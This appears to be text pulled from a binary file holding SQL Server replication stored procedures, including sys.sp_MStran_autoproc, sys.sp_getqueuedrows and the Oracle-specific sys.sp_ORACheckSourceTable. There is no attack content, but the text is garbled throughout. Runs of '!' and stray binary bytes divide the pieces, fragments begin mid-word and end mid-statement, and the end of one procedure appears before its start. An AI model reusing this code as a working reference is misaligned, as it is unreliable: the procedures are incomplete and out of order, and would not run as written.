                                if (@retcode != 0 or @@error != 0)
                                    return 1

                                select @command = NULL
                            end

                            --
                            -- reset command len
                            --
                            if (@mesglen > 0)
                                select @mesglen = 0
                        end
                        
                        --
                        -- fetch next row
                        --
                        fetch #htempcursor into @publisher, @publisherdb, @publication, @tranid, @datalen, @data, @commandtype, @cmdstate
                    end
                    close #htempcursor
                    deallocate #htempcursor
                end 
    
                --
                -- All SQL Queues processed
                --
            end
        end
    end
    
    --
    -- return result
    --
    select  queue = case when queuetype = @k_queuetype_msmq then N'MSMQ'
                        when queuetype = @k_queuetype_sql then N'SQLQ' end 
            ,publisher
            ,publisher_db
            ,publication
            ,tranid
            ,commandlen
            ,command 
    from #mesgs
    order by mesgid
    
    --
    -- All done
    --
    drop table #mesgs
    return 0
end
ECT USERNAME FROM USER_SYS_PRIVS WHERE PRIVILEGE = ''SELECT ANY TABLE'') ')
	INSERT INTO #hquery(cmd) VALUES('OR (T.TABLE_NAME IN (')
	INSERT INTO #hquery(cmd) VALUES('SELECT ATP.TABLE_NAME FROM ALL_TAB_PRIVS ATP ')
	INSERT INTO #hquery(cmd) VALUES('WHERE ATP.TABLE_SCHEMA = T.OWNER ')
	INSERT INTO #hquery(cmd) VALUES('AND ATP.TABLE_NAME = T.TABLE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND ATP.PRIVILEGE = ''SELECT'' ')
	INSERT INTO #hquery(cmd) VALUES('AND (ATP.GRANTEE = USER AND GRANTOR IN (SELECT USERNAME FROM ALL_USERS) ')
	INSERT INTO #hquery(cmd) VALUES('OR GRANTEE = ''PUBLIC'')))) ')
	INSERT INTO #hquery(cmd) VALUES('AND T.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND T.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND T.NESTED = ''NO'' ')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%' 
		INSERT INTO #hquery(cmd) VALUES(' AND T.DROPPED = ''NO'' ')

	EXEC @retcode = sp_ORAremotequery 
					@Server				= @publisher,
					@SelectColumnList	= @SelectColumnList,
					@InsTable			= '#oraprops',
					@InsColumnList		= @InsColumnList

	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		DROP TABLE #oraprops
		DROP TABLE #hquery
		
		RAISERROR (21781, 16, -1)
		RETURN (@retcode)
	END

	-- Verify source table is at publisher
	IF NOT EXISTS
	(
		SELECT	*
		FROM	#oraprops
		WHERE	property = 'TABLE'
	)
	BEGIN
		RAISERROR (21662, 16, -1, @source_owner, @source_table)
		
		DROP TABLE #oraprops
		DROP TABLE #hquery
				
		RETURN (1)
	END
	
	-- Verify source table is not a temp table
	IF EXISTS
	(
		SELECT	*
		FROM	#oraprops
		WHERE	property = 'TABLE'
		  AND	value	 = 0
	)
	BEGIN
		RAISERROR (21735, 16, -1, @source_owner, @source_table)
		
		DROP TABLE #oraprops
		DROP TABLE #hquery
				
		RETURN (1)
	END

	-- Verify tran specific requirements
	IF @publication_type = 0
	BEGIN
		DECLARE @pkCount 	int
		DECLARE @pkLen   	int
		DECLARE @pkIndex	bit
		DECLARE	@privSel	bit
		
		-- Get PK info
		SELECT	@pkCount = value
		FROM	#oraprops
		WHERE	property = 'PKCOL'
		
		SELECT	@pkLen = value
		FROM	#oraprops
		WHERE	property = 'PKLEN'
		
		SELECT	@pkIndex = CONVERT(bit, value)
		FROM	#oraprops
		WHERE	property = 'PKIDX'
		
		SELECT	@privSel = CONVERT(bit, value)
		FROM	#oraprops
		WHERE	property = 'PRIVSEL'
		
		-- Verify if PK is valid

        -- Primary key columns
        IF (@pkCount > 16)
        BEGIN
            RAISERROR (21834, 16, -1, @source_owner, @source_table, @pkCount, 16)
            SET @retcode = 1
        END

	-- Primary key length        
        IF (@pkLen > 900)
        BEGIN
            RAISERROR (21835, 16, -1, @source_owner, @source_table, @pkLen, 900)
            SET @retcode = 1
        END

	-- Primary key existance test
        IF ((@pkCount < 0) OR (@pkIndex = 0))
		BEGIN
			RAISERROR (21663, 16, -1, @source_owner, @source_table)
			SET @retcode = 1
		END

		-- Verify select privileges
		IF @privSel = 0
		BEGIN
			RAISERROR (21682, 16, -1, @source_owner, @source_table)
			SET @retcode = 1
		END
	END

	DROP TABLE #oraprops
	DROP TABLE #hquery
	
	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#`<(RY+v-
create procedure sys.sp_MStran_autoproc 
(
	@artid int 
	,@mode tinyint = 0 -- 0 = no column change, 1 = column has been add/drop/altered, 2 = forced refresh of procs for the article
	,@ddlcmd nvarchar(max) = NULL -- NOT NULL for mode in 0,1; NULL for mode = 2
)
as
begin
    declare @retcode int
                ,@pubid int
                ,@schema_option binary(8)
                ,@auto_gen int
                ,@ins_cmd nvarchar(510)
                ,@del_cmd nvarchar(510)
                ,@upd_cmd nvarchar(510)
                ,@partial_cmds int
                ,@sql_cmds_type int
                ,@pubname sysname
                ,@artname sysname
                ,@schema_script nvarchar(4000)
                ,@allow_dts bit
                ,@allow_sync_tran bit
                ,@allow_queued_tran bit
                ,@dbname sysname
                ,@autogen_option int
                ,@p2p_option int
                ,@for_p2p_ddl bit
                ,@enabled_for_p2p_cd bit = 0
                ,@p2p_cd_option int = 0x8
                ,@modenocolumnchange tinyint
                ,@modecolumnchange tinyint
                ,@modearticleprocrefresh tinyint
                ,@has_ts bit
                ,@has_ident bit

    --
    -- initialize
    --
    set nocount on
    select @retcode = 0
            ,@autogen_option = 0x2
            ,@auto_gen = 0 -- auto generate custom procs
            ,@partial_cmds = 0
            ,@sql_cmds_type = 11
            ,@allow_sync_tran = 0
            ,@allow_queued_tran = 0
            ,@dbname = db_name()
            ,@p2p_option = 0x1
            ,@for_p2p_ddl = 0
            ,@modenocolumnchange = 0
            ,@modecolumnchange = 1
            ,@modearticleprocrefresh = 2
            ,@has_ts = 0
            ,@has_ident = 0
    --
    -- validate
    --
    if (@mode in (@modenocolumnchange, @modecolumnchange, @modearticleprocrefresh))
    begin
        if ((@mode = @modearticleprocrefresh) and @ddlcmd is not null)
        begin
            raiserror(21344, 16, -1, N'@ddlcmd')
            return 1
        end
    end
    else
    begin
        raiserror(21344, 16, -1, N'@mode')
        return 1
    end

    select 	@pubid = a.pubid
        ,@pubname = p.name
        ,@artname = a.name
        ,@auto_gen = (convert(int, a.schema_option) & @autogen_option)
        ,@allow_dts = p.allow_dts
        ,@ins_cmd = a.ins_cmd
        ,@del_cmd = a.del_cmd
        ,@upd_cmd = a.upd_cmd
        ,@allow_sync_tran = p.allow_sync_tran
        ,@allow_queued_tran = p.allow_queued_tran
        ,@for_p2p_ddl = (p.options & @p2p_option)
        ,@enabled_for_p2p_cd = (p.options & @p2p_cd_option)
        ,@has_ts = case when (objectproperty(a.objid, 'TableHasTimestamp') = 1) then 1 else 0 end
        ,@has_ident = case when (objectproperty(a.objid, 'TableHasIdentity') = 1) then 1 else 0 end
    from sysextendedarticlesview a join syspublications p 
        on a.pubid = p.pubid 
    where artid = @artid 

    if (@allow_dts = 1 and @mode in (@modenocolumnchange, @modecolumnchange))
        goto SCRIPTONLY

    if @ddlcmd is not NULL
    begin
        exec @retcode = sys.sp_replpostcmd @partial_cmds, @pubid, @artid, @sql_cmds_type, @ddlcmd
        if(@retcode <> 0) or (@@error <> 0)
            return 1
    end

    --
    -- if mode is no column change - we are done
    --
    if @mode = @modenocolumnchange
        return 0
    --
    -- we are here since either a column changed or we are doing a forced refresh
    -- auto-gen custom proc or execute custom script if mode is column change
    -- or proc refresh 
    --
    if (@auto_gen > 0)-- auto-gen custom scripts
    begin
        if(UPPER(LEFT(LTRIM(@ins_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@ins_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('SCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @artid, @procmapid = 1, @for_p2p_ddl = @for_p2p_ddl
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        if(UPPER(LEFT(LTRIM(@del_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@del_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('XCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@del_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('VCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @artid, @procmapid = 2, @for_p2p_ddl = @for_p2p_ddl
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        if(UPPER(LEFT(LTRIM(@upd_cmd), 4) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('CALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('MCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('XCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('VCALL' collate SQL_Latin1_General_CP1_CS_AS))
        	or (UPPER(LEFT(LTRIM(@upd_cmd), 5) collate SQL_Latin1_General_CP1_CS_AS) = UPPER('SCALL' collate SQL_Latin1_General_CP1_CS_AS))
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid = @pubid, @artid = @artid, @procmapid = 3, @for_p2p_ddl = @for_p2p_ddl
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
    end
    if @allow_sync_tran = 1 or @allow_queued_tran = 1
    begin
        --
        -- post script to alter conflict table on subscriber for queued
        --
        if @allow_queued_tran = 1
        begin
            exec @retcode = sys.sp_MSpost_auto_proc @pubid=@pubid, @artid=@artid, @procmapid=5, @pubname=@pubname, @artname=@artname
            if(@retcode <> 0) or (@@error <> 0)
                return 1
        end
        --
        -- post script to alter sync triggers on subscriber for queued/immediate update
        -- sp_MSget_synctran_commands also post alter table on sysarticlecolumns at subscriber side for queued.
        --
        declare @alter bit 
        --set @alter = 1 only for ddl cmds, since that's the only time #tran_columnstable (tmp table to hold changed column info) exists.
        set @alter = case @mode when 1 then 1 else 0 end
        exec @retcode = sys.sp_MSpost_auto_proc @pubid=@pubid, @artid=@artid, @procmapid=4, @pubname=@pubname, @artname=@artname, 
                    @dbname=@dbname, @has_ts=@has_ts, @has_ident=@has_ident, @alter=@alter        						
        if(@retcode <> 0) or (@@error <> 0)
            return 1
    end

SCRIPTONLY:
    if (@mode in (@modenocolumnchange, @modecolumnchange) and (@auto_gen = 0 or @allow_dts = 1))
    begin
        select @schema_script = custom_script from sysarticles where artid = @artid
        if @schema_script is not NULL
        begin 
            exec @retcode = sys.sp_addscriptexec @publication = @pubname, @scriptfile = @schema_script
            if @retcode<>0 or @@ERROR<>0
                return 1

            --now unregister the script so to force user to keep it up to date
            --i.e. register again before next DDL
            exec @retcode = sp_register_custom_scripting 'CUSTOM_SCRIPT', NULL, @pubname, @artname
            if @retcode<>0 or @@ERROR<>0
                return 1
        end
        else if (upper(@ins_cmd) not in (N'NONE', N'SQL') or upper(@del_cmd) not in (N'NONE', N'SQL')  or upper(@upd_cmd) not in (N'NONE', N'SQL') )
        begin
            --autogen_proc is off, but at least one of ins/del!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Sˁ_vcreate procedure sys.sp_getqueuedrows (
    @tablename sysname
    ,@owner sysname = NULL
    ,@tranid nvarchar(70) = NULL
)
as
begin
    set nocount on
    declare @retcode int
        ,@dbname sysname
        ,@qualified_tabname nvarchar(1000)
        ,@tabid int
        ,@agent_id int
        ,@publisher sysname
        ,@publisher_db sysname
        ,@publication sysname
        ,@queue_id sysname
        ,@update_mode int
        ,@failover_id int
        ,@cmd nvarchar(4000)
        ,@queue_server sysname
        ,@indid int
        ,@indkey int
        ,@key sysname
        ,@colid int
        ,@typestring nvarchar(4000)
        ,@artcol int
        ,@xpinputstr nvarchar(4000)
        ,@selectcl nvarchar(4000)
        ,@joincl nvarchar(4000)
        ,@curuser sysname

    --
    -- prepare the fully qualified table
    --
    select @owner = case when (@owner IS NULL) then N'dbo' else @owner end
            ,@dbname = db_name()
            ,@curuser = user
    select @qualified_tabname = quotename(@dbname) + N'.' 
                    + quotename(@owner) + N'.' + quotename(@tablename)
    select @tabid = object_id(@qualified_tabname)
    if (@tabid IS NULL) or (@tabid = 0)
    begin
        -- error
        raiserror(21078, 16, 1, @qualified_tabname)
        return 1
    end

    --
    -- current user should have SELECT permission on the table
    --
    if (HAS_PERMS_BY_NAME(sys.fn_replreplacesinglequote(@qualified_tabname), 'OBJECT', 'SELECT')=0)
    begin
        -- error
        raiserror(21752, 16, 1, @curuser, @qualified_tabname)
        return 1
    end

    --
    -- make sure the table is participating in a active queued subscription
    --
    select @agent_id = agent_id 
    from dbo.MSsubscription_articles 
    where dest_table = @tablename and owner = @owner

    if (@agent_id IS NULL)
    begin
        -- error
        raiserror(21753, 16, 1, @qualified_tabname)
        return 1
    end

    --
    -- get the details for the subscription
    --
    select @publisher = publisher
            ,@publisher_db = publisher_db
            ,@publication = publication
            ,@update_mode = update_mode
            ,@queue_server = queue_server
            ,@queue_id = queue_id
            ,@failover_id = failover_mode
    from dbo.MSsubscription_agents where id = @agent_id
    if (@update_mode not in (2,3,4,5))
    begin
        -- error
        raiserror(21753, 16, 2, @qualified_tabname)
        return 1
    end
    
    --
    -- If we are in Immediate Failover mode - no queued messages
    --
    if (@update_mode in (3,5) and (@failover_id = 0))
    begin
        --
        -- do an empty select on the source table and return
        --
        select @cmd = N'declare @dummy_action nvarchar(10), @dummy_tranid nvarchar(70)
                    select action=@dummy_action, tranid=@dummy_tranid, * from ' + 
                    @qualified_tabname + N' where 1 = 2 '
        exec (@cmd)
        return 0
    end

    if (@update_mode in (2,3))
    begin
        --
        -- set queue prefix for MSMQ cases
        --
        select @queue_id = N'DIRECT=OS:' + @queue_server + N'\PRIVATE$\' + @queue_id
    end
    else
    begin
        --
        -- Check the queue table for SQLQ
        --
        if not exists (select * from dbo.MSreplication_queue
        where UPPER(publisher) = UPPER(@publisher) and
                publisher_db = @publisher_db and
                publication = @publication and
                tranid = case when @tranid IS NULL then tranid else @tranid end)
        begin
            --
            -- do an empty select on the source table and return
            --
            select @cmd = N'declare @dummy_action nvarchar(10), @dummy_tranid nvarchar(70)
                    select action=@dummy_action, tranid=@dummy_tranid, * from ' + 
                    @qualified_tabname + N' where 1 = 2 '
            exec (@cmd)
            return 0
        end
    end

    --
    -- Now find the PK columns for this table
    --
    select @indkey = 1
        ,@artcol = 0
        ,@xpinputstr = N''
        ,@selectcl = N''
        ,@joincl = N''
        ,@retcode = 0

    select @indid = i.indid 
    from dbo.sysindexes i 
    where ((i.status & 2048) != 0) and (i.id = @tabid)
    if (@indid is null)
    begin
        raiserror(21750, 16, -1, @qualified_tabname)
        return 1
    end
    
    --
    -- create an enumeration of all the columns that are part of PK
    --
    create table #pkcoltab(pkindex int identity, keyname sysname collate database_default not null)
    while (@indkey <= 16)
    begin
        select @key = index_col( @qualified_tabname, @indid, @indkey )
        if (@key is null)
            break
        else
            insert into #pkcoltab(keyname) values(@key)

        select @indkey = @indkey + 1
    end

    --
    -- initialize the commands that we need to build
    --
    if exists (select * from sys.objects where name = 'tempcrtcmd' and schema_id = schema_id())
        drop table tempcrtcmd
    create table tempcrtcmd (c1 int identity NOT NULL, procedure_text nvarchar(4000) NULL)
    
    select @cmd = N'create table tempqjointab (action nvarchar(10), tranid nvarchar(70) '
    insert into tempcrtcmd(procedure_text) values(@cmd)

    --
    -- now walk through each article col and if it is
    -- a part of PK, then check find the column position of the key
    -- corresponding to any article column is set
    --
    DECLARE #hCColid CURSOR LOCAL FAST_FORWARD FOR 
        select column_id, [name] from sys.columns 
        where object_id = @tabid order by column_id asc

    OPEN #hCColid
    FETCH #hCColid INTO @colid, @key
    WHILE (@@fetch_status != -1)
    begin
        exec sys.sp_MSget_type @tabid, @colid, NULL, @typestring output
        if ((@typestring IS NOT NULL) and (@typestring != N'timestamp'))
        begin
            --
            -- this column is part of the article
            --
            select @artcol = @artcol + 1
            if exists (select * from #pkcoltab where keyname = @key)
            begin
                --
                -- this column is part of PK (offset and precision, scale)
                -- prepare the input string for XP
                -- prepare the create join table command
                -- prepare the join and select clause for the result
                --
                select @xpinputstr = @xpinputstr + N';' + cast(@artcol as nvarchar) 
                if (@typestring = N'bigint')
                    select @xpinputstr = @xpinputstr + N'(19,0)'
                else if (@typestring like N'decimal%') or (@typestring like N'numeric%')
                begin
                    declare @startpos int
                            ,@endpos  int

                    select @startpos = charindex(N'(', @typestring, 1)
                    select @endpos = charindex(N')', @typestring, @startpos)
                    select @xpinputstr = @xpinputstr + substring(@typestring, @startpos, (@endpos - @startpos + 1))
                end
                select @cmd = N',' + quotename(@key) + N' ' + @typestring
                insert into tempcrtcmd(procedure_text) values(@cmd)
                select @selectcl = @selectcl + N', b.' + quotename(@key)
                
                if (@joincl = N'')
                    begin
                    select @joincl = @joincl + N'a.' + quotename(@key) + N' = b.' + quotename(@key)
                end
                else
                begin
                    select @joincl = @joincl + N'and a.' + quotename(@key) + N' = b.' + quotename(@key)
                end             
            end
            else
            begin
                --
                -- this column is not part of PK
                -- build the select clause!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<!T} for this column
                --
                select @selectcl = @selectcl + N', a.' + quotename(@key)
            end
        end     

        --
        -- get the next column
        --
        FETCH #hCColid INTO @colid, @key
    end
    CLOSE #hCColid
    DEALLOCATE #hCColid
    drop table #pkcoltab

    --
    -- create the join table now
    --
    select @cmd = N') '
    insert into tempcrtcmd(procedure_text) values(@cmd)
    if exists (select * from sys.objects where name = N'tempqjointab' and schema_id = schema_id())
        drop table tempqjointab
    select @cmd = 'select procedure_text from dbo.tempcrtcmd order by c1'
    exec @retcode = sys.xp_execresultset @cmd, @dbname
    if (@retcode != 0)
        goto cleanup

    --
    -- populate the join table now
    --
    if (@update_mode in (2,3))
    begin
        --
        -- MSMQ case : one call to the xp should populate the join table
        --
        insert into tempqjointab
            exec sys.xp_readpkfromqueue @tablename, @queue_id, @xpinputstr, @tranid
    end
    else
    begin
        --
        -- SQLQ case : select the data for this subscription and call the
        -- xp for each row in the cursor to populate the join table
        --
        declare @spancount int
                ,@data varbinary(8000)
                ,@state bit
        
        declare #hcurQInfo cursor local FAST_FORWARD FOR
        select data, cmdstate, tranid
        from dbo.MSreplication_queue
        where UPPER(publisher) = UPPER(@publisher) and
                publisher_db = @publisher_db and
                publication = @publication and
                tranid = case when @tranid IS NULL then tranid else @tranid end and
                commandtype = 1
        order by orderkey
        FOR READ ONLY

        select @spancount = 0
        open #hcurQInfo
        fetch #hcurQInfo into @data, @state, @tranid
        while (@@FETCH_STATUS = 0)
        begin
            declare @qbdata0 varbinary(8000)
                    ,@qbdata1 varbinary(8000)

            if (@state = 1)
            begin
                --
                -- command spanning more than a row
                -- we will allow spanning upto 2 rows
                --
                if (@spancount = 0)
                    select @qbdata0 = @data
                else
                begin
                    raiserror(21754, 16, 1)
                    close #hcurQInfo
                    deallocate #hcurQInfo
                    select @retcode = 1
                    goto cleanup
                end
                select @spancount = @spancount + 1
            end
            else
            begin
                --
                -- final row for the command
                --
                if (@spancount = 0)
                    select @qbdata0 = @data             
                else if (@spancount = 1)
                    select @qbdata1 = @data
                else
                begin
                    raiserror(21754, 16, 2)
                    close #hcurQInfo
                    deallocate #hcurQInfo
                    select @retcode = 1
                    goto cleanup
                end

                --
                -- call the xp to populate the join table
                --
                insert into tempqjointab
                    exec sys.xp_readpkfromvarbin @tablename, @xpinputstr, @tranid, @spancount, @qbdata0, @qbdata1

                --
                -- reset the span count
                --
                select @spancount = 0
            end

            --
            -- fetch the next row
            --
            fetch #hcurQInfo into @data, @state, @tranid
        end
        close #hcurQInfo
        deallocate #hcurQInfo
    end

    --
    -- Now perform the join
    --
    select @cmd = N'select b.action, b.tranid ' + @selectcl 
        + N'from ' + @qualified_tabname + N' a right join tempqjointab b on (' + @joincl + N') '
    exec (@cmd)
    
    --
    -- all done
    --
cleanup:    
    if exists (select * from sys.objects where name = N'tempqjointab' and schema_id = schema_id())
        drop table tempqjointab
    if exists (select * from sys.objects where name = N'tempcrtcmd' and schema_id = schema_id())
        drop table tempcrtcmd
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(UEzv
--
-- Name:
--		sp_ORACheckSourceTable
--
-- Description:
--		Validate source table for publishing (Oracle specific)
--
-- Inputs:
--		@publisher_type		== publisher type
--		@publisher			== publisher name
--		@source_table		== source table
--		@source_owner		== source table owner
--		@publication_type	== publication type (tran == 0; snapshot == 1)
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		Internal
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Used by sp_IHCheckSourceTable for Oracle publishers
--

CREATE PROCEDURE sys.sp_ORACheckSourceTable
(
	@publisher			sysname,
	@source_table		sysname,
	@source_owner		sysname,
	@publisher_type		sysname,
	@publication_type	int
)
AS
BEGIN
	DECLARE @retcode			int
    DECLARE @publisher_dbms		sysname
    DECLARE @publisher_version	sysname
	DECLARE	@InsColumnList		nvarchar(2000)
	DECLARE	@SelectColumnList	nvarchar(2000)
	DECLARE @pubid				int

	SET NOCOUNT ON
	
	-- Get publisher ID
	SELECT	@pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Set publisher DBMS and version
	SELECT	@publisher_dbms	= 'ORACLE'

	EXEC @retcode = sys.sp_IHgetversion	@publisher	= @publisher,
										@version	= @publisher_version OUTPUT

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	CREATE TABLE #oraprops
	(
		property		char(10),
		value			int
	)
	
	-- Master table list
	SELECT @InsColumnList    = 'property, value'
	SELECT @SelectColumnList = '*'

	INSERT INTO #hquery(cmd) VALUES('SELECT ''TABLE'', DECODE(TEMPORARY,''N'',1,0) ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_ALL_TABLES T ')
	INSERT INTO #hquery(cmd) VALUES('WHERE T.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND T.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES('AND T.NESTED = ''NO'' ')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%'
		INSERT INTO #hquery(cmd) VALUES('AND T.DROPPED = ''NO'' ')

	IF @publisher_version LIKE N'8.%'
	BEGIN
		-- Primary key index is no longer being checked for Oracle 8.
		-- The Oracle 8 version of all_constraints does not explicitly identify
		-- the name of the primary key index, and since the constraint_name and
		-- index name need not be the same, this check has been dropped.
		-- This is fairly safe, since the index cannot be dropped while it is
		-- being used to enforce a primary key constraint.
		INSERT INTO #hquery(cmd) VALUES('UNION ')
		INSERT INTO #hquery(cmd) VALUES('SELECT ''PKIDX'', COUNT(*) ')
		INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC ')
		INSERT INTO #hquery(cmd) VALUES('WHERE AC.CONSTRAINT_TYPE = ''P'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')
		INSERT INTO #hquery(cmd) VALUES('UNION ')

	END
	ELSE
	BEGIN
		-- Primary key with valid index
		INSERT INTO #hquery(cmd) VALUES('UNION ')
		INSERT INTO #hquery(cmd) VALUES('SELECT ''PKIDX'', COUNT(*) ')
		INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC, ALL_INDEXES IDX')

		IF @publisher_version NOT LIKE N'9.%'
		    INSERT INTO #hquery(cmd) VALUES(', ALL_ALL_TABLES T ')

		INSERT INTO #hquery(cmd) VALUES('WHERE CASE WHEN AC.INDEX_OWNER IS NOT NULL THEN AC.INDEX_OWNER ELSE AC.OWNER END = IDX.OWNER ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.INDEX_NAME = IDX.INDEX_NAME ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.CONSTRAINT_TYPE = ''P'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.VALIDATED = ''VALIDATED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.STATUS = ''ENABLED'' ')
		INSERT INTO #hquery(cmd) VALUES('AND IDX.STATUS = ''VALID'' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = ' + QUOTENAME(@source_table, '''') + ' ')
		INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = ' + QUOTENAME(@source_owner, '''') + ' ')
		
		IF @publisher_version NOT LIKE N'9.%'
		BEGIN
		    INSERT INTO #hquery(cmd) VALUES(' AND CASE WHEN AC.INDEX_OWNER IS NOT NULL THEN AC.INDEX_OWNER ELSE AC.OWNER END = T.OWNER ')
		    INSERT INTO #hquery(cmd) VALUES(' AND AC.TABLE_NAME = T.TABLE_NAME ')
		    INSERT INTO #hquery(cmd) VALUES(' AND T.DROPPED = ''NO'' ')
		END

		INSERT INTO #hquery(cmd) VALUES('UNION ')
	END
	-- Primary key columns
	INSERT INTO #hquery(cmd) VALUES('SELECT ''PKCOL'', COUNT(*) ')
	INSERT INTO #hquery(cmd) VALUES('FROM ALL_CONSTRAINTS AC, ALL_TAB_COLUMNS TC, ALL_CONS_COLUMNS CC')

	IF @publisher_version NOT LIKE N'8.%' AND @publisher_version NOT LIKE N'9.%' 
		INSERT INTO #hquery(cmd) VALUES(', ALL_ALL_TABLES T ')

	INSERT INTO #hquery(cmd) VALUES(' WHERE AC.OWNER = TC.OWNER ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = TC.TABLE_NAME ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.OWNER = CC.OWNER ')
	INSERT INTO #hquery(cmd) VALUES('AND AC.TABLE_NAME = CC.TABLE_NAME ')
